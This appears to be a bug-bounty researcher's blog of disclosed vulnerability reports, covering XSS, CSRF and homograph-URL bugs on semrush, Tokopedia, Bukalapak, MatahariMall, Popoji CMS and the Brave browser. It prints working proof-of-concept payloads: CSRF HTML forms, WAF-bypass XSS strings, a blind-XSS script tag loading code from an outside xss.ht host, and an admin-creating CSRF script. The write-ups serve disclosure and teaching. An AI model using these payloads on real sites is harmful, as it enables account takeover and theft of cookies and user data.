Exploiting XSS in POST requests on semrush.com

Recently, I’ve found something new for me , and I found this on www.semrush.com some bug bounty program on hackerone  . And it’s first time I’ve found XSS on hackerone program. So, This is the story.

While I’am looking around on semrush.com , try to one page and another page, put some payload on all field, and end on page https://www.semrush.com/my-posts/  this page is can be post something, and you able write everything you want. I try to put some xss payload on the field , but nothing happen.

Then, I try to upload some image, And the interesting time begin. I try to upload malicious filename on that page. It’s looks like this.

I take a long time to analyzing the request and response when I upload some image, but after a cup of coffee, help me to focus, and I notice the parameter CKEditorFuncNum on request is reflected on response. I try to write some text and see the result, is reflect on response

After know is reflected , I use payload XSS to trigger the XSS with payload like this : </script><script>alert(document.domain)</script> and it’s execute as script!.

After know this, I made simple HTML to execute this, and the code is like this :

<html>
  <body>
    <form action="https://www.semrush.com/my-posts/api/image/upload/?CKEditor=text&CKEditorFuncNum=dadasd</script><script>alert(document.domain)</script>&langCode=en" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

And whenever user click Submit Request, The XSS will be fired UP!

This is mark as valid from semrush security team. It’s has been fixed very well. More Experience I Get.

You can visit on hackerone report : https://hackerone.com/reports/375352

Blind XSS in Admin Panel on Name Parameter

Description :

Blind XSS is fired up on admin panel on name parameter, While the register there’s a field Full Name, I fill it with XSS Payload, I use XSSHunter to execute this. In a Next day I’ve found my XSS result on XSShunter dashboard through their admin Panel, I able to showing admin IP / Cookies / Path of admin, and etc. Maybe the admin will activate / reviewing the user registration.

PoC :

1. Register new account and fill the Field Full name with Payload From XSSHunter. ( “><script src=https://apapedulim.xss.ht></script> )
2. Complete the registration.
3. Wait on the Next Day.

Impact :

Getting the IP / Cookies / Path Of admin of the XSS and able to get the list of other customer details like Name, IDs.

How Do you Know it’s Blind XSS on admin page?

Actually, Im not sure at the first time I found, After registering my account, I get the email from website to confirm my account, And my name going to ">  in my recent test, I use that payload just showing "> and XSS payload will execute,

Verify my email address from website.

I assume It’ll be Stored XSS and will be fired up on admin panel, So, I wait it, And got the response from admin panel.

Note : The team request limited disclosure.

I contacted the team via their contact page. And got positive report from them, After seeing my report they fix the vuln and will send me some SWAG. Yay!

Thanks.

Chaining CSRF With Self-Stored XSS On Tokopedia

Summary :

At the first time, I found Self-Stored XSS on Tokopedia in their template message, In Tokopedia have feature template message to chat seller with common question like “This Goods Is Ready, What Is The Variant color, and etc”. User can set the template message by their self, and I try to insert the payload XSS on the template message , and when I open the message, the XSS will be pop up, And I assume this is Self-Stored XSS. And after that I think if Self-Stored XSS not high enough because the user must be input the payload to their template. And I try to dig the Request And I found some JSON request without Token on their endpoint, and the content-type not checked by their system and I think it will be Valid CSRF. So, I try to chain that bug in one action.

Step to reproduce :

  • Create .html code like this :
<title>CSRF To XSS on tokopedia</title>
<script>
function getMe(){
// retrieve page content
var xhr = new XMLHttpRequest();
// now execute the CSRF attack
xhr.open("POST",
"https://chat.tokopedia.com/tc/v1/update_chat_templates", true);
xhr.withCredentials="true";

xhr.setRequestHeader("Content-type", "application/x-www-form-
urlencoded");

xhr.send('{"is_enable":true,"templates":["Bisa dikirim hari ini
ga?","Terima kasih!","<script>alert(document.domain);//"]}');
}
</script><center>
<h1>CSRF To XSS On tokopedia</h1>
<button onclick="getMe();">Xploit Kuyy</button>
</center>

The code will be send request to https://chat.tokopedia.com/tc/v1/update_chat_templates endpoint to add template message [“Bisa dikirim hari ini ga?”,”Terima kasih!”,”<script>alert(document.domain);//”] . Who included by Payload XSS.

So, when victim visit that link,  will be added payload XSS to their template message, and when victim try to chat with some seller, the XSS will be execute.

Video :

Timeline :

  • Sun, Feb 25, 2018 at 2:31 PM : Report Send
  • Sun, Feb 25, 2018 at 3:34 PM : Tokopedia Team answer will investigate
  • Mon, Feb 26, 2018 at 10:11 AM : Tokopedia Team Mark as Duplicate the XSS ( Found By Internal Team ) and CSRF mark as LOW Severity
  • Tue, Feb 27, 2018 at 9:09 AM : Try to explain the CSRF to get Medium Severity >.<
  • Tue, Feb 27, 2018 at 10:52 AM : Tokopedia Team Mark XSS & CSRF Valid with Medium Severity because the endpoint is different with internal team report
  • Thu, Mar 1, 2018 at 9:57 PM : Tokopedia Fixed The XSS , and tell CSRF not be fixed because the endpoint will changed soon.
  • Wed, Mar 21, 2018 : Rewarded! Yay!

Thanks.

Original Report [ID] : https://drive.google.com/file/d/0B3hUlq3mDkikVXRWdEdBalpmZVlncFFqU3JXSFpFTkFnSGkw/view

Bypassing Homograph Attack Using `@` On Brave Browser

After a few month not hunting bug, and i want to hunt again. I read my previous report about Bypassing Homograph and look at the patch code. And I think I can bypass it, with some trick.

I see code on Brave Github patch on previous report, and with minimum programming skill try to bypassing homograph. I notice on their code is something like this. :

it('returns the punycode URL when given a valid URL', function () {
    assert.equal(urlUtil.getPunycodeUrl('http://brave:brave@ebаy.com:1234/brave#brave'), 'http://brave:brave@xn--eby-7cd.com:1234/brave#brave')
})

I notice on url between @ , the URL after @ is containing punycode, and get return to ASCII , and my weird logic think if before @ the punycode it’s doesn’t return to ASCII,

And this is How I Reproduce it  :

This is punycode URL ebаy.com@ebаy.com = xn--eby-7cd.com@xn--eby-7cd.com .

Set it to homepage

Attempt : 
- ebаy.com@ebаy.com it'll become = ebаy.com@xn--eby-7cd.com 
- ebаy.com/ebаy.com it'll become = xn--eby-7cd.xn--com/eby-7fg.com
- ebаy.com/@ebаy.com it'll become = ebаy.com/@xn--eby-7cd.com

And this is true before @ doesn’t return to ASCII ,  so to visit the link before @ i give / after punycode. So, when user input ebаy.com/@apapedulimu.click user will redirect to : xn--eby-7cd.com

Video :

And I report to Brave tim on Hackerone , you can see my report on : https://hackerone.com/reports/317931 . The brave tim very fast when patching it. And i got rewarded with bounty. Yeay!

And I say thanks to them with some GIF because very fast reply and patching although there’s just minor bug.

This is the GIF

You can see the patching on their github also on : https://github.com/brave/browser-laptop/issues/13214

Thanks

Reflected XSS On Search Product via AngularJS Template Injection [ Bukalapak.com ]

Description :

I’ve found Reflected XSS on www.bukalapak.com via AngularJs , I found this by write {{31338-1}} on their search page and found result 31337 . And i also read h1 report from ysx  for my reference to exploit this.

And I use payload from ysx to exploit AngularJS with {{constructor.constructor(‘alert(document.domain)’)()}} payload.

POC (Piye Om Carane ):

  1. login to account
  2. insert the payload to search field
  3. and XSS will fire up

POC URL :

https://www.bukalapak.com/products?utf8=%E2%9C%93&source=navbar&from=omnisearch&search_source=omnisearch_organic&search%5Bkeywords%5D=%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D

Screenshoot :

It fixed 1 day after I report to them.

Reference :

  1. https://hackerone.com/reports/230234
  2. http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html

Note: I got permission to disclose this report from bukalapak

For Indonesia Languange, you can see my original report on : https://drive.google.com/open?id=0B3hUlq3mDkikRndrLU9TcXo3Y04xVXI1MVJocE8yNXdNWlF3

Thanks!

Bypass Stored XSS on User Edit [ MatahariMall.com ]

Description

I’ve found Stored XSS on user edit in name field, actually MatahariMall.com have WAF to protect it, but i found some payload to bypass it.

Detail : 

Location Of Bug : 

https://www.mataharimall.com/user/edit

Payload : 

"'--!><Script /K/>confirm(1)</Script /K/>#

Step To Reproduce :

  1. Login to your MatahariMall account
  2. Go to User Edit
  3. Add your name with Payload
  4. Save it

It will showing up the XSS and when you access another page, it also will showing up, because the name of your account will be displayed at another page.

Browser :

  1. Chrome And Firefox

Note :

Team of MatahariMall.com fix the bug after 1 day I send report, Wow!

 

Video :

Bypassing XSS

So, after them patching my previous report i going to bypass it, and i bypass it with new payload.

Payload : –!”><svg/onload=confirm(“1”)>

And it pop up the XSS,

it’s a many way to bypass the firewall.

Thanks,

Homograph Attack Bypass On Brave Browser


Hi guys, at this time i try to test Brave Browser , because i challenge myself to test something except website application and will see what i can do with it. While I search about Browser bug in hackerone.com I find report about Homograph attack in browser at 175286 and I try it, but its has been patched, so I find another way to attack it. And I try to read more reference about browser and i read URI Obfuscation  that give me idea how about adding @ when add punycode ? and boom. Its work, Brave Browser not validate a url properly like previous report. And This is My Report, but before i send report I check it on chrome, and the chrome response is showing the true URL.

Summary:

At #175286 you has been patched, and i try it work, but i’ve another way to bypass it. when we add a site to our Homepage with @, it’s not validate a url properly, make sure it’s display the punycode.

Products affected:

Brave 0.18.36 ( Linux & Windows )

Steps To Reproduce:

  • In browser add homepage with IDN @ebаy.com/
  • Now close and open browser again
  • You can see it’s redirect to http://xn--eby-7cd.com/

Video :

And two days after that the Brave team update my report to triaged and give me bounty ( half of first reporter ) , but i not satisfied with that (Am I so greedy ) >.< , and ask information, why ? and Brave team said “this was awarded lower because it requires the URL to start with ‘@’ which users would probably notice since it looks odd” and i think its true, so i dig it again, how can I attack it without ‘@’ and I try different way to attack it, and I’ve found the ‘@’ not required on url, so just use URL like this ebаy.com/ . And the Brave team said “seems valid” and give me extra bounty. Yay !

Thanks.

Missing CSRF Token On Add Admin [Popoji CMS]

Description:

This is happen because when request add admin there’s no CSRF token
Step To Reproduce :

<script>function getMe(){
// retrieve page content
var xhr = new XMLHttpRequest();
// now execute the CSRF attack
xhr.open("POST", "http://root/popoji/poadmin/
route.php?mod=user&act=addnew", true);
xhr.withCredentials="true";
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send('username=root&nama_lengkap=test&password=Mypass1337&repeatpass=Mypass1337&email=nosashan
dy21%40gmail.com&no_telp=083833232954&level=1');
}
</script>
<button>Let's Rock</button>

1. Save code to .html
2. upload them to host
3. execute it.

Video :

https://www.youtube.com/watch?v=1FXXuSiB6jo

Fix & Mitigation :

give token when request sensitive action.

Note:
them give me permission to disclose it, and they say the patch will deployed for next version. So, if you use popoji CMS, be careful, dont trust any link from unknown people and stay update your CMS. and also them give me bounty for this! yeey !

Session Not Expired When Password Has Been Changed [app.cobalt.io]

Description

When user change password from another platform, the previous platform still connect to account and still can edit the profile.

POC :

1. Login on mozilla,
2. Login on Chrome,
3. change the password on chrome.
4. back to mozilla, you still able to access the account
5. you still can edit profile.

Video :

https://youtu.be/Cz2zh7w4n6M (unlisted )

Note : I ask permission to app.cobalt.io to write it on my blog, and them give me the permission, so I write here,

Hope you enjoy~

Missing CSRF Token On Change Picture Request [Tokopedia.com]

Hi,

Actually i found many CSRF issue on tokopedia, but i just write this on my blog if you want to see all of them just go to my old blog : http://v1nsh4n.blogspot.co.id/search/label/Tokopedia

Description

This bug because when change picture there’s no CSRF token to cover it.

Vuln Request

POST /ajax/people-4.pl HTTP/1.1
Host: www.tokopedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Referer: https://www.tokopedia.com/people/9946238/edit
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 526
Cookie: <somecookie>
Connection: close

file_path=https%3A%2F%2Fecs7.tokopedia.net%2Fimg%2Fcache%2F300%2Fuser-1%2F2017%2F4%2F7%2F9946238%2F9946238_7ac0357f-05f7-4f32-92a7-b69b9b23956c.png&file_th=https%3A%2F%2Fecs7.tokopedia.net%2Fimg%2Fcache%2F100-square%2Fuser-1%2F2017%2F4%2F7%2F9946238%2F9946238_7ac0357f-05f7-4f32-92a7-b69b9b23956c.png&message_status=0&pic_obj=eyJzZXJ2ZXJfaWQiOiI1MCIsImZpbGVfcGF0aCI6InVzZXItMS8yMDE3LzQvNy85OTQ2MjM4IiwicGljIjoiOTk0NjIzOF83YWMwMzU3Zi0wNWY3LTRmMzItOTJhNy1iNjliOWIyMzk1NmMucG5nIn0%3D&success=1&action=event_upload_profile_picture

Poc Code:

<script>
      function getMe(){
        // retrieve page content
        var xhr = new XMLHttpRequest();

        // now execute the CSRF attack
        xhr.open("POST", "https://www.tokopedia.com/ajax/people-4.pl", true);
        xhr.withCredentials="true";
        xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhr.send('file_path=https%3A%2F%2Fecs7.tokopedia.net%2Fimg%2Fcache%2F300%2Fuser-1%2F2017%2F4%2F7%2F9946238%2F9946238_7ac0357f-05f7-4f32-92a7-b69b9b23956c.png&file_th=https%3A%2F%2Fecs7.tokopedia.net%2Fimg%2Fcache%2F100-square%2Fuser-1%2F2017%2F4%2F7%2F9946238%2F9946238_7ac0357f-05f7-4f32-92a7-b69b9b23956c.png&message_status=0&pic_obj=eyJzZXJ2ZXJfaWQiOiI1MCIsImZpbGVfcGF0aCI6InVzZXItMS8yMDE3LzQvNy85OTQ2MjM4IiwicGljIjoiOTk0NjIzOF83YWMwMzU3Zi0wNWY3LTRmMzItOTJhNy1iNjliOWIyMzk1NmMucG5nIn0%3D&success=1&action=event_upload_profile_picture');
        }
</script>
<button onclick="getMe();">Let's Rock</button>

Note: file_path is another user photo

Step to reproduce:

  • Save Code .html
  • Click `Lets Rock`
  • Photo will be update with photo from file_path

Video : https://youtu.be/jNE2ECG9DRQ